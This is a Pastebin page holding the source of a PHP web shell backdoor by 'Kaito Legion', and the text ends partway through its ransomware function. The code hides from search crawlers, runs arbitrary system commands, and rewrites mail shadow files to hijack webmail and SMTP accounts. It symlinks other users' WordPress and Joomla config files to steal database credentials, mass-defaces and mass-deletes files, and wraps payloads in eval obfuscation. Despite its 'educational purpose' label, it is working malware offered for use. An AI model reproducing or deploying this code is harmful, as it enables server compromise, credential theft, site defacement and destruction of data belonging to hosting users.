Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- set_time_limit(0);
- error_reporting(0);
- @clearstatcache();
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @ini_set('output_buffering',0);
- @ini_set('display_errors', 0);
- include(@passthru($_GET['kaito']));
- $password = "8c72db75b59b04a5401d1d00f268e8c0"; // pass: kaito@legion
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $userAgents = array("Googlebot",
- "Slurp",
- "MSNBot",
- "PycURL",
- "facebookexternalhit",
- "ia_archiver",
- "crawler",
- "Yandex",
- "Rambler",
- "Yahoo! Slurp",
- "YahooSeeker",
- "bingbot");
- if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- if (isset($_GET['logout'])) {
- @logout();
- }
- function logout() {
- unset($_SESSION[@md5($_SERVER['HTTP_HOST'])]);
- @header("Location: ".$_SERVER['PHP_SELF']);
- }
- function login(){
- echo '
- <head>
- <title>PLEASE LOGIN!</title>
- <link href="https://fonts.googleapis.com/css?family=Share+Tech+Mono" rel="stylesheet" type="text/css">
- <meta name="viewport" content="width=device-width, initial-scale=0.5">
- <meta property="og:image" content="https://avatars0.githubusercontent.com/u/47966968?s=400&u=41f6e21d009537f92b523400f82b036d9945aca6">
- <meta name="author" content="Kaito Legion">
- <meta name="description" content=" [ PLEASE LOGIN! ]">
- <style>
- *{
- font-family:Share Tech Mono;
- font-weight:bold;
- }
- body {
- margin:0;
- padding:0;
- background:black;
- }
- input[type=password]{
- border:1px solid white;
- border-radius:3px;
- padding:3px;
- color:white;
- outline:none;
- height:20px;
- font-size:10px;
- width:200px;
- margin-bottom:10px;
- background:black;
- }
- font{
- font-size:13px;
- color:white;
- }
- </style>
- </head>
- <script src="https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js" type="text/javascript"></script>
- <body>
- <center><br>
- <img style="border-radius:100%; height:220px; width:220px;" src="https://avatars0.githubusercontent.com/u/47966968?s=400&u=41f6e21d009537f92b523400f82b036d9945aca6" width="230px" height="230px" border="0">
- <br><br>
- <font style="color:gold; font-size:30px;">Kaito Was Here</font>
- <br><br>
- <font>Welcome Kaito Legion Your Shell is waiting for you <br> It\'s your time to Deface GOOD LUCK!.</font>
- <br><br>
- <br>
- <form method="post">
- <input name="password" placeholder="Password" type="password"><br>
- </form><br><br>
- <font>COPYRIGHT © KAITOLEGION.</font>
- <br><br>
- </center>
- </body>
- ';
- exit;
- }
- if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
- if( empty($password) || ( isset($_POST['password']) && (md5($_POST['password']) == $password) ) && (empty($username) || (isset($_POST['username']) && ($_POST['username']) == $username) ) )
- $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
- else
- login();
- echo "
- <html>
- <head>
- <title>KAITOLEGION WAS HERE</title>
- <link href='https://fonts.googleapis.com/css?family=Share+Tech+Mono' rel='stylesheet' type='text/css'>
- <link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css'>
- <link rel='stylesheet' href='https://use.fontawesome.com/releases/v5.7.1/css/all.css' integrity='sha384-fnmOCqbTlWIlj8LyTjo7mOUStjsKC4pOpQbqyi7RrhN7udi9RwhKkMHpvLbHG9Sr' crossorigin='anonymous'>
- <link rel='stylesheet' href='https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.css' />
- <script src='https://maxcdn.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js'></script>
- <script src=\"https://cdn.rawgit.com/bungfrangki/efeksalju/2a7805c7/efek-salju.js\" type=\"text/javascript\"></script>
- <meta name='viewport' content='width=device-width, initial-scale=0.5'>
- <style>
- * {
- font-family: Share Tech Mono;
- }
- body {
- background:black;
- }
- h1 {
- font-size: 15px;
- color: white;
- }
- font {
- color:white;
- border-radius:5px;
- padding:6px;
- }
- font a {
- color:cyan;
- text-decoration:none;
- font-size:15px;
- font-weight:bold;
- font-style:bold;
- }
- font a:hover{
- color:yellow;
- }
- h1 {
- font-size:20px;
- text-align:center;
- }
- p {
- color:white;
- font-weight:bold;
- font-size:15px;
- }
- a {
- text-decoration:none;
- color:yellow;
- }
- table {
- padding:1px 1px; width:600px; color:white;
- }
- .kaito {
- animation-name: rotate ;
- animation-duration: 5s;
- animation-play-state: running;
- animation-timing-function: linear;
- animation-iteration-count: infinite;
- opacity: 0.8;filter: alpha(opacity=50);} img:hover {opacity: 1.0;filter: alpha(opacity=100);
- }
- @keyframes rotate{
- 10% {transform:rotateY(36deg)}
- 20% {transform:rotateY(72deg)}
- 30% {transform:rotateY(108deg)}
- 40% {transform:rotateY(144deg)}
- 50% {transform:rotateY(180deg)}
- 60% {transform:rotateY(216deg)}
- 70% {transform:rotateY(252deg)}
- 80% {transform:rotateY(288deg)}
- 90% {transform:rotateY(324deg)}
- 100% {transform:rotateY(360deg)}
- }
- .tb {
- width:620px;
- height:150px;
- }
- #snackbar {
- visibility: hidden;
- max-width: 120px;
- background-color: cyan;
- font-weight:bold;
- color: black;
- text-align: center;
- border-radius: 3px;
- padding:10px 16px;
- position: fixed;
- z-index: 1;
- bottom: 30px;
- font-size: 13px;
- left:50%;
- width:200px;
- transform:translateX(-50%);
- box-shadow:0 2px 4px rgba(0,0,0,0.65);
- }
- #snackbar.show {
- visibility: visible;
- -webkit-animation: fadein 0.5s, fadeout 0.5s 2.5s;
- animation: fadein 0.5s, fadeout 0.5s 2.5s;
- }
- @-webkit-keyframes fadein {
- from {bottom: 0; opacity: 0;}
- to {bottom: 30px; opacity: 1;}
- }
- @keyframes fadein {
- from {bottom: 0; opacity: 0;}
- to {bottom: 30px; opacity: 1;}
- }
- @-webkit-keyframes fadeout {
- from {bottom: 30px; opacity: 1;}
- to {bottom: 0; opacity: 0;}
- }
- @keyframes fadeout {
- from {bottom: 30px; opacity: 1;}
- to {bottom: 0; opacity: 0;}
- }
- </style>
- </head>
- <body>
- <center>
- <br>
- <div class='kaito'>
- <img style='border-radius:100%; height:220px; width:220px;' src='https://avatars0.githubusercontent.com/u/47966968?s=400&u=41f6e21d009537f92b523400f82b036d9945aca6' width='250px' height='250px' border='0'>
- </div><br>
- <h1 style='color:gold; font-weight:bold; font-size:30px;'>WELCOME KAITO! ^_^</h1>
- <br><div class='tb'>
- <p style='margin:0; text-align:left; font-size:15px;'>Uname: <span style='color:cyan;'>".substr(@php_uname(), 0, 120)."</span>
- <p style='margin:0; text-align:left; font-size:15px;'>PHP Version: <span style='color:cyan;'>".phpversion()."</span>
- <p style= 'margin:0; text-align:left; font-size:15px;'>Current User: <span style='color:cyan;'>".get_current_user()."</span></p>
- <p style='text-align:left; font-size:15px;'>User: <span style='color:cyan;'>".getmyuid()."</span> | Group: <span style='color:cyan;'>".getmygid()."</span> | Server IP: <span style='color:cyan;'>".$_SERVER['REMOTE_ADDR']."</span>
- <p style='text-align:left; font-size:15px;'> Path: /";
- if(isset($_GET['dir'])){
- $path = $_GET['dir'];
- }else{
- $path = getcwd();
- }
- $path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?dir=/"></a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a style="font-size:15px;" href="?dir=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '">'.$pat.'</a>/';
- }
- echo "</div>";
- $file = $_SERVER['PHP_SELF'];
- echo "</p>
- <form method='post'>
- <font>[ <a href='$file'>Home</a> ]</font>
- <font>[ <a href='$file?dir=$path&path=adminer'>Adminer</a> ]</font>
- <font>[ <a href='$file?dir=$path&path=uploader'>Upload</a> ]</font>
- <font>[ <a href='?path=webmail'>Webmail Cracker</a> ]</font>
- <font>[ <a href='?path=symlink'>Symlink</a> ]</font><br>
- <font>[ <a href='$file?dir=$path&path=md'>Mass Deface</a> ]</font>
- <font>[ <a href='?path=delete'>Delete Files</a> ]</font>
- <font>[ <a href='$file?dir=$path&do=ransomware'>Ransomware</a> ]</font>
- <font>[ <a href='?path=zh'>Zone H</a> ]</font><br>
- <font>[ <a href='?path=encode_script'>Encode Script</a> ]</font>
- <font>[ <a href='?path=decode_script'>Decode Script</a> ]</font>
- <font>[ <a href='?path=No_Redirect&do=noredirect'>NoRedirect</a> ]</font>
- <font>[ <a href='?path=Dashboard_Finder'>DashFinder</a> ]</font><br>
- <font>[ <a href='?path=smtp'>Smtp Cracker</a> ]</font>
- <font>[ <a href='?path=command'>Command</a> ]</font>
- <font>[ <a href='?path=about'>About</a> ]</font>
- <font>[ <a href='https://www.google.com/search?q=Mr.KaitoX'>Whoami</a> ]</font>
- <font>[ <a href='?logout'>Logout</a> ]</font>
- </form>
- ";
- if ($_GET['path']=='adminer'){
- echo "<form method='post'>
- <input type='submit' name='create' value='create adminer'>
- </form>";
- if(isset($_POST['create'])){
- $adminer = file_get_contents("https://pastebin.com/raw/f7M69MgQ");
- $adm = fopen('x.txt','w');
- fwrite($adm,$adminer);
- if(copy('x.txt',$path.'/'.'adminer.php')){
- echo '<p style="color:cyan;">Adminer Was Created</p>';
- fclose($adm);
- }
- unlink('x.txt');
- }
- }
- else if ($_GET['path']=='command'){
- $uid = posix_getpwuid(posix_geteuid());
- echo "<form method='POST'>";
- print "<p style='color:red; font-size:10px;'>".$uid['name']."@:~$ ";
- print "<input name='cmd' style='width:300px; height:25px; outline:none; color:white; font-weight:bold; font-family:courier; background:black; border:2px solid white;' type='text'>";
- print "<input type='submit' style='padding-bottom:3px;' value='>>'></p>";
- echo "</form>";
- $cmd = $_POST['cmd'];
- /*print "<p style='color:red; font-weight:bold;'>";*/
- @terminal($cmd);
- /*print "</p>";*/
- }
- else if ($_GET['path']=='symlink'){
- echo "<h1>Symlink</h1>";
- echo '<form method="POST"><input type="submit" name="start" value="Start Symlinking" /></form>';
- sym();
- }
- else if ($_GET['path']=='smtp'){
- echo "<h1 style='font-size:25px;'>Smtp Cracker</h1><br>";
- echo '<form method="POST"><input type="submit" name="crack" value="Crack" /></form>';
- smtp();
- }
- else if ($_GET['path']=='webmail'){
- echo "<h1>Webmail Cracker</h1>";
- echo "<form method='POST'>
- <input style='color:white; background:black; border:2px solid white;' type='text' name='password' placeholder='Change Password'>
- <input type='submit' name='crack' value='Crack'>
- </form>";
- if(isset($_POST['password'])){
- if(!empty($_POST['password'])){
- ini_set('max_execution_time',0);
- ini_set('memory_limit',-1);
- $ports=array(25, 587, 465, 110, 995, 143 , 993);
- $primary_port='25';
- $user=get_current_user();
- $password=$_POST['password'];
- $pwd = crypt($password,'$6$roottn$');
- $t = $_SERVER['SERVER_NAME'];
- $t = @str_replace("www.","",$t);
- @$passwd = file_get_contents('/home/'.$user.'/etc/'.$t.'/shadow');
- $ex=explode("\r\n",$passwd);
- @link('/home/'.$user.'/etc/'.$t.'/shadow','/home/'.$user.'/etc/'.$t.'/shadow.roottn.bak');
- @unlink('/home/'.$user.'/etc/'.$t.'/shadow');
- foreach($ex as $ex){
- $ex=explode(':',$ex);
- $e= $ex[0];
- if ($e){
- $b=fopen('/home/'.$user.'/etc/'.$t.'/shadow','ab');fwrite($b,$e.':'.$pwd.':16249:::::'."\r\n");fclose($b);
- echo '<span style=\'color:#00ff00;\'>'.$t.'|25|'.$e.'@'.$t.'|'.$password.'</span><br>'; "</center>";
- }}
- foreach ($ports as $port)
- {
- $connection = @fsockopen($t, $port, $errno, $errstr, 2);
- if (is_resource($connection))
- {
- echo '<p>' . $_SERVER['REMOTE_ADDR'] . ':' . $port . ' ' . '(' . getservbyport($port, 'tcp') . ') is open.</p>' . "\n";
- fclose($connection);
- }
- }
- } else {
- echo "<p style='color:red;'>Please Enter Password</p>";
- }
- }
- }
- // Ransomware
- else if($_GET['do']=='ransomware'){
- echo "<h1 style='font-size:25px;'>Ransomware</h1>";
- echo "
- <form method='post'>
- <select name='locker'>
- <option value='1'>Locked</option>
- <option value='2'>Unlocked</option>
- </select>
- <input type='submit' value='Go'>
- </form>
- ";
- $locker = $_POST['locker'];
- $e = $_SERVER['PHP_SELF'];
- $file = str_replace("/","",$e);
- @ran($locker,$path,$file);
- }
- /** uploader **/
- else if ($_GET['path']=='uploader'){
- echo "<br><form enctype='multipart/form-data' method='POST'>
- <input style='border:2px solid white; color:white;' type='file' name='myfile'>
- <input type='submit' name='upload' value='upload'>
- </form>";
- if(isset($_POST['upload'])){
- if(!empty($_FILES['myfile']['name'])){
- if(copy($_FILES['myfile']['tmp_name'],$path.'/'.$_FILES['myfile']['name'])){
- echo '<p style="color:cyan; font-size:15px;">File Uploaded: '.$_FILES['myfile']['name'].'</p>';
- } else {
- echo "<p style='font-size:15px; color:red;'>Failed Upload!".$_FILES['myfile']['name']."</p>";
- }
- }else{
- echo "<p style='color:red;'>Empty File!</p>";
- }
- }
- }
- /**Mass Encrypt**/
- else if ($_GET['path']=='delete'){
- echo "<h1>Mass Delete</h1>";
- echo "<form method='POST'><input type='submit' name='deleteall' value='Delete All Files & Directory'></form>";
- $path = getcwd();
- $files = scandir($path);
- if(isset($_POST['deleteall'])){
- foreach($files as $files){
- unlink($files);
- rmdir($files);
- echo "<p>$files -> Deleted<br></p>";
- }
- }
- }
- /**About**/
- else if ($_GET['path']=='about'){
- echo "<h1 style='font-size:25px;'>-=[ About ]=-</h1>";
- echo "<p style='font-size:20px;'>This Shell Backdoor Was Developed by Kaito Legion
- <br>a.k.a Mr.KaitoX
- for educational purpose only.
- </p>";
- echo "<center><p style='font-size:20px;'>-=[ Follow Me ]=-</p></center>";
- echo "<p style='font-size:16px;'>Facebook : <a href='https://www.facebook.com/kaitolegionofficial'>https://www.facebook.com/kaitolegionofficial</a></p>";
- echo "<p style='font-size:16px;'>Youtube : <a href='https://www.youtube.com/kaitolegion'>https://www.youtube.com/kaitolegion</a></p>";
- }
- else if ($_GET['path']=='md'){
- echo"
- <form method='POST'>
- <label style='margin-right:10px;background:cyan; width:100px; border-radius:5px; color:black; font-weight:bold;'>Filename:</label><br>
- <input name='namefile' style='width:500px; background:black; color:cyan; font-weight:bold; border:2px solid white; outline:none;' type='text' name='filename' placeholder='Example: kaito.html'>
- <br>
- <label style='margin-top:8px; background:cyan; width:100px; border-radius:5px; color:black; font-weight:bold;'>Directory:</label>
- <br>
- <input name='massdefacedir' style='width:500px; background:black; color:cyan; font-weight:bold; border:2px solid white; ' type='text' value='";
- echo $_GET['dir'];
- echo "/'>
- <br>
- <label style='margin-top:8px; background:cyan; border-radius:5px; width:150px; color:black; font-weight:bold;'>Deface Script:</label>
- <br>
- <textarea name='defscript' style='background:black; width:500px; height:300px; border:2px solid white; color:cyan; outline:none;' placeholder='Deface Script Here!'></textarea>
- <br>
- <input name='deface' value='Defaced!' style='width:100px;' type='submit' value='Submit'>
- </form>";
- $deface = $_POST['deface'];
- $massdir = $_POST['massdefacedir'];
- $filedef = $_POST['namefile'];
- $defscript = $_POST['defscript'];
- $deface = $_POST['deface'];
- if (isset($deface)){
- if (!empty($defscript)){
- $dir=scandir($massdir);
- foreach($dir as $rs) {
- if($rs != "." && $rs != ".."){
- $fl = fopen("$massdir"."/".$rs."/".$filedef,"w");
- fwrite($fl,$defscript);
- echo "<p>".$rs." => Defaced<br></p>";
- }
- }
- }
- else {
- echo "<p style='color:red;'>Script is empty!</p>";
- }
- }
- }
- else if ($_GET['path']=='zh'){
- echo "<h1 style='background:cyan; width:190px; padding:5px; border-radius:5px; color:black; font-weight:bold;'>Mass Zone-H Poster</h1>";
- zoneh();
- }
- else if ($_GET['path']=='encode_script'){
- echo "<h1 style='background:cyan; width:150px; padding:5px; border-radius:5px; color:black; font-weight:bold;'>Encode Script</h1>";
- encrypt();
- }
- else if ($_GET['path']=='decode_script'){
- echo "<h1 style='background:cyan; width:150px; padding:5px; border-radius:5px; color:black; font-weight:bold;'>Decode Script</h1>";
- decrypt();
- }
- else if ($_GET['path']=='No_Redirect'){
- echo "<h1 style='background:cyan; width:150px; padding:5px; border-radius:5px; color:black; font-weight:bold;'>No Redirect</h1>";
- if ($_GET['do'] == 'noredirect'){
- echo "<form method='POST'>";
- echo "<input name='URL' style='color:white; width:300px; background:black; border:solid 2px white;' type='text' placeholder='URL Target'>
- <input name='submit' value=\"GO\" type=\"submit\">
- </form>";
- if(isset($_POST['submit'])){
- if(substr($_POST['URL'], 0, 4) == 'http'){
- echo url_get_contents(htmlspecialchars($_POST['URL']));
- } else{
- echo "<p style='color:red; font-weight:bold; font-size:20px;'>Sorry Bro. Check your URL<br>Only http or https protocols are allowed</p>";
- }
- }
- }
- }
- else if ($_GET['path']=='Dashboard_Finder'){
- }
- /* File View */
- else if($_GET['filesrc']){
- $name = basename($_GET['filesrc']);
- $file = htmlspecialchars(file_get_contents($_GET['filesrc']));
- echo "<h1 style='background:cyan; font-weight:bold; border-radius:3px; color:black; width:100px; font-size:15px;'>File View</h1>";
- echo "<p style='font-weight:bold; font-size:15px;'>Filename : ".$name."</p>";
- echo "<textarea style='font-family:monospace; font-size:13px; width:500px; color:white; font-weight:bold; border:2px solid white; background:black; height:400px;'>$file</textarea>
- ";
- }
- /************/
- /* Edit Option */
- else if($_POST['opt'] == 'edit'){
- if(isset($_POST['src'])){
- $fp = fopen($_POST['path'],'w');
- if(fwrite($fp,$_POST['src'])){
- echo '<p style="color:cyan; font-size:20px;">Edit File Done</p>';
- }else{
- echo '<p style="color:red;">Edit File Failed</p>';
- }
- fclose($fp);
- }
- echo '<form method="POST">
- <h1 style="background:cyan; font-weight:bold; border-radius:3px; color:black; width:100px; font-size:15px;">Edit File</h1>
- <textarea style="background:black; font-family:monospace; color:white; border:2px solid white;" cols=70 rows=25 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="edit"><br>
- <input type="submit" value="Edit" />
- </form>';
- }
- /***************/
- /** chmod **/
- else if($_POST['opt'] == 'chmod'){
- if(isset($_POST['perm'])){
- if(chmod($_POST['path'],$_POST['perm'])){
- echo '<p style="color:cyan; font-size:20px;">Success!</p>';
- }else{
- echo '<p style="color:red; font-size:20px;">Edit Failed :(</p>';
- }
- }
- echo '<form method="POST">
- <p style="font-size:20px;">Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
- <input type="hidden" name="path" value="'.$_POST['path'].'">
- <input type="hidden" name="opt" value="chmod">
- <input type="submit" value="Go" /></p>
- </form>';
- }
- /* Rename */
- else if($_POST['opt'] == 'rename'){
- $renamefile = $_POST['path'];
- $newrenamefile = $_POST['newname'];
- if(isset($_POST['newname'])){
- if(rename($renamefile,$path.'/'.$newrenamefile)){
- home($path);
- copyright();
- exit;
- }
- $_POST['name'] = $_POST['newname'];
- }
- echo '<form method="POST"><p style="background:cyan; font-size:15px; width:100px; border-radius:5px; color:black; font-weight:bold;">New Name</p><input name="newname" style="background:black; border:2px solid white; color:white; border-radius:2px;" type="text" size="20" value="'.$_POST['name'].'" /><input type="hidden" name="path" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="rename"><input type="submit" value="Change" /></form>';
- }
- /* Create Folder */
- else if($_GET['folder'] == 'createfolder'){
- $name = $_POST['newfol'];
- $path = $_GET['dir'];
- if(!empty($name)){
- if(mkdir("$path"."/"."$name")){
- home($path);
- copyright();
- exit;
- } else{
- home($path);
- copyright();
- exit;
- }
- }
- echo '<form method="POST"><p style="background:cyan; font-size:15px; width:120px; border-radius:5px; color:black; font-weight:bold;">Create New Folder </p><input name="newfol" style="background:black; border:2px solid white; outline:none; color:white; border-radius:2px;" type="text" size="20" /><input type="hidden" name="dir" value="'.$_POST['path'].'"><input type="hidden" name="opt" value="newfolder"><input type="submit" value="Create" /></form>';
- }
- /* Create File */
- else if($_GET['folder'] == 'createfile'){
- $fname = $_POST['fname'];
- $fscript = $_POST['fscript'];
- if (isset($_POST['createfile'])){
- if(!empty($fname && $fscript)){
- makefile($path,$fname,$fscript);
- echo "<body onload=alert('Created')>";
- home($path);
- copyright();
- exit;
- } else {
- echo "<body onload=alert('Empty')>";
- home($path);
- copyright();
- exit;
- }
- }
- echo '<form method="POST"><p style="background:cyan; font-size:15px; width:100px; border-radius:5px; color:black; font-weight:bold;">Filename: </p><input placeholder="File Name" style="background:black; border:2px solid white; color:cyan; width:300px; outline:none;" type="text" name="fname"><br><br><p style="background:cyan; font-size:15px; width:120px; border-radius:5px; color:black; font-weight:bold;">File Script</p><textarea placeholder="Script.." style="background:black; width:500px; border:2px solid white; border-radius:2px; outline:none; height:200px; color:white; font-family:courier;" type="text" name="fscript"></textarea><br><br><input value="create" name="createfile" type="submit"></form>';
- }
- /*******Closed********/
- else {
- home($path);
- }
- // Encrypt Function
- function encrypt() {
- echo "
- <form method=\"POST\">
- <textarea name='encode_script' style='background:black; width:500px; height:200px; border:2px solid white; color:cyan; outline:none;' placeholder='PHP Script to encode Here!'></textarea>";
- echo "<br><br><select style='background:black; border:solid 2px white; color:white; width:500px;' name='type'>
- <option value=\"urlencode\">Select</option>
- <option value=\"base64\">Base64</option>
- <option value=\"base64convert\">base64 - convert_uu</option>
- <option value=\"gzinflates\">gzinflate - base64</option>
- <option value=\"str2\">str_rot13 - base64</option>
- <option value=\"gzinflate\">str_rot13 - gzinflate - base64</option>
- <option value=\"str\">str_rot13 - gzinflate - str_rot13 - base64</option>
- <option value=\"url\">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
- </select>";
- $encode = $_POST['encode_script'];
- $button = $_POST['encode_button'];
- if(isset($button)) {
- $type = $_POST['type'];
- switch($type){
- case 'urlencode':
- $kai = rawurlencode($encode);
- break;
- case 'base64':
- $kai = base64_encode($encode);
- $kai = "<?php eval('?>'.base64_decode('$kai'));";
- break;
- case 'base64convert':
- $kai = base64_encode(convert_uuencode($encode));
- $kai = "<?php eval('?>'.convert_uudecode(base64_decode('$kai')));";
- break;
- case 'gzinflates':
- $kai = base64_encode(gzdeflate($encode));
- $kai = "<?php eval('?>'.gzinflate(base64_decode('$kai')));";
- break;
- case 'str2':
- $kai = base64_encode(str_rot13($encode));
- $kai = "<?php eval('?>'.str_rot13(base64_decode('$kai')));";
- break;
- case 'gzinflate':
- $kai = base64_encode(gzdeflate(str_rot13($encode)));
- $kai = "<?php eval('?>'.str_rot13(gzinflate(base64_decode('$kai'))));";
- break;
- case 'str':
- $kai = base64_encode(str_rot13(gzdeflate(str_rot13($encode))));
- $kai = "<?php eval('?>'.str_rot13(gzinflate(str_rot13(base64_decode('$kai')))));";
- break;
- case 'url':
- $kai = base64_encode(gzdeflate(convert_uuencode(str_rot13(gzdeflate(base64_encode($encode))))));
- $kai = "<?php eval('?>'.base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode('$kai')))))));";
- break;
- default:
- break;
- }
- }
- echo '<div id="snackbar">Text Copied</div>';
- echo '<script>
- function myFunction(){
- var x=document.getElementById("snackbar");x.className="show";setTimeout(function(){x.className=x.className.replace("show", "");},3000);
- var copyText = document.getElementById("txtencopy");copyText.select();document.execCommand("copy");
- }
- </script>';
- echo "<br><br><textarea id='txtencopy' style='background:black; width:500px; height:150px; border:2px solid white; color:cyan; outline:none;' placeholder=' Encode Result..'>$kai</textarea>
- <a class='copy' id='lbtn' onclick='myFunction()'>
- <br><br><i style='color:cyan; font-size:22px;' class='fa fa-copy'></i></a>
-
- <a class='share' id='lbtn' onclick='myFunction()'>
- <i style='color:cyan; font-size:22px;' class='fa fa-share'></i>
- </a>
- ";
- echo "<br><br><input type='submit' name='encode_button' value='Encode'></form>";
- }
- // Decrypt Function
- function decrypt() {
- echo "<form method=\"POST\">";
- echo "<textarea name='decode' style='background:black; width:500px; height:200px; border:2px solid white; color:cyan; outline:none;' placeholder='Text Encrypted Here!'></textarea>";
- echo "<br><br>
- <select style='background:black; border:solid 2px white; color:white; width:500px;' name='type'>
- <option value=\"urlencode\">Select</option>
- <option value=\"base64\">Base64</option>
- <option value=\"base64convert\">base64 - convert_uu</option>
- <option value=\"gzinflates\">gzinflate - base64</option>
- <option value=\"str2\">str_rot13 - base64</option>
- <option value=\"gzinflate\">str_rot13 - gzinflate - base64</option>
- <option value=\"str\">str_rot13 - gzinflate - str_rot13 - base64</option>
- <option value=\"url\">base64 - gzinflate - str_rot13 - convert_uu - gzinflate - base64</option>
- </select>";
- $decode = $_POST['decode'];
- if (isset($decode)) {
- $type = $_POST['type'];
- switch ($type) {
- case 'urlencode':
- $kaito = rawurldecode($decode);
- break;
- case 'base64':
- $kaito = base64_decode($decode);
- break;
- case 'base64convert':
- $kaito = convert_uudecode(base64_decode($decode));
- break;
- case 'gzinflates':
- $kaito = gzinflate(base64_decode($decode));
- break;
- case 'str2':
- $kaito = str_rot13(base64_decode($decode));
- break;
- case 'gzinflate':
- $kaito = str_rot13(gzinflate(base64_decode($decode)));
- break;
- case 'str':
- $kaito = str_rot13(gzinflate(str_rot13(base64_decode(($decode)))));
- break;
- case 'url':
- $kaito = base64_decode(gzinflate(str_rot13(convert_uudecode(gzinflate(base64_decode(($decode)))))));
- break;
- default:
- break;
- }
- }
- echo '<div id="snackbar">Text Copied</div>';
- echo '<script>
- function myFunction(){
- var x=document.getElementById("snackbar");x.className="show";setTimeout(function(){x.className=x.className.replace("show", "");},3000);
- var copyText = document.getElementById("linput");copyText.select();document.execCommand("copy");
- }
- </script>';
- echo "<br><br>
- <textarea id='linput' style='background:black; width:500px; height:150px; border:2px solid white; color:cyan; outline:none;' placeholder='Decode Result..'>$kaito
- </textarea>
- <a class='copy' id='lbtn' onclick='myFunction()'>
- <br><br><i style='color:cyan; font-size:22px;' class='fa fa-copy'></i></a>
-
- <a class='share' id='lbtn' onclick='myFunction()'>
- <i style='color:cyan; font-size:22px;' class='fa fa-share'></i>
- </a>
- ";
- echo "<br><br><input type='submit' value='Decode'></form>";
- }
- // no redirect function
- function stripFile($in){
- $pieces = explode("/", $in);
- if(count($pieces) < 4) return $in . "/";
- if(strpos(end($pieces), ".") !== false){
- array_pop($pieces);
- }elseif(end($pieces) !== ""){
- $pieces[] = "";
- }
- return implode("/", $pieces). "/";
- }
- // Function
- function url_get_contents($url) {
- if (function_exists('curl_exec')){
- $conn = curl_init($url);
- curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, true);
- curl_setopt($conn, CURLOPT_FRESH_CONNECT, true);
- curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
- $url_get_contents_data = (curl_exec($conn));
- curl_close($conn);
- }elseif(function_exists('file_get_contents')){
- $url_get_contents_data = file_get_contents($url);
- }elseif(function_exists('fopen') && function_exists('stream_get_contents')){
- $handle = fopen ($url, "r");
- $url_get_contents_data = stream_get_contents($handle);
- }else{
- $url_get_contents_data = false;
- }
- $data = str_replace('<a href="','<a href="'.'http://' . $_SERVER['HTTP_HOST'].$_SERVER["PHP_SELF"].'?url='.stripFile($url),$url_get_contents_data);
- $data = str_replace('<head>','<head><base href="'.stripFile($url).'">',$data);
- return $data;
- }
- //symlinker function
- function sym() {
- if($_POST["start"]) {
- $dir=file("/etc/passwd");
- mkdir("rootsec_sym",0755);
- chdir("rootsec_sym");
- $ht='Options Indexes FollowSymLinks
- DirectoryIndex kaito.htm
- AddType text/plain .php
- AddHandler text/plain .php
- Satisfy Any
- ';
- $file=fopen(".htaccess", "w+");
- fwrite($file, $ht);
- fclose($file);
- $list=["wp-config.php","wp/wp-config.php","WP/wp-config.php","wp/beta/wp-config.php","beta/wp-config.php","press/wp-config.php","wordpress/wp-config.php","Wordpress/wp-config.php","blog/wp-config.php","config.php","news/wp-config.php","new/wp-config.php","blogs/wp-config.php","home/wp-config.php","db.php","site/wp-config.php","main/wp-config.php","test/wp-config.php","configuration.php","blog/configuration.php","joomla/configuration.php","cms/configuration.php","portal/configuration.php","news/configuration.php","home/configuration.php","www/configuration.php","site/configuration.php","sites/configuration.php","vb/includes/config.php","whm/configuration.php","central/configuration.php","whm/whmcs/configuration.php","whm/WHMCS/configuration.php","whmc/WHM/configuration.php","whmcs/configuration.php","support/configuration.php","submitticket.php","whm/configuration.php","drupal/sites/default/settings.php","drupal7/sites/default/settings.php","sites/default/settings.php"];
- foreach($dir as $users) {
- $user=explode(":",$users);
- foreach($list as $confurl) {
- symlink("/home/".$user[0]."/public_html/".$confurl,$user[0]."~".$confurl.".txt");
- }
- }
- echo "<p><a href='rootsec_sym' target='_blank'>Click Here</a></p>";
- }
- }
- function terminal($cmd){
- echo '<p style="font-style:italic; color:red;">';
- @system($cmd.' 2>&1',$res);
- $len=count($res);
- for($x=0;$x<$len;$x++) {
- echo $res[$x].'<br>';
- }
- echo '</p>';
- }
- //smtp cracker function
- function smtp() {
- if($_POST["crack"]) {
- $usr=get_current_user();
- $pass="rootsec";
- $pwd=crypt($pass,'$6$roottn$');
- $maindir="/home/".$usr."/etc/";
- chdir($maindir);
- $dir=scandir($maindir);
- foreach($dir as $dirs) {
- if($dirs!="." && $dirs!="..") {
- chdir($dirs);
- if(is_readable(shadow)) {
- link("shadow","shadow.bak3x");
- $get=file_get_contents("shadow");
- $email=explode(":",$get);
- $mailname=$email[0];
- unlink("shadow");
- $file=fopen("shadow","a");
- fwrite($file,$mailname.":".$pwd.":16249:::::"."\r\n");
- fclose($file);
- echo "<p>".$dirs."|25|".$mailname."@".$dirs."|".$pass."</p>";
- }
- }
- }
- }
- }
- // Ransomware Locker
- function ran($locker,$path,$file){
- switch($locker){
- case '1':
- $s = glob("*.*");
- $scan = scandir($s);
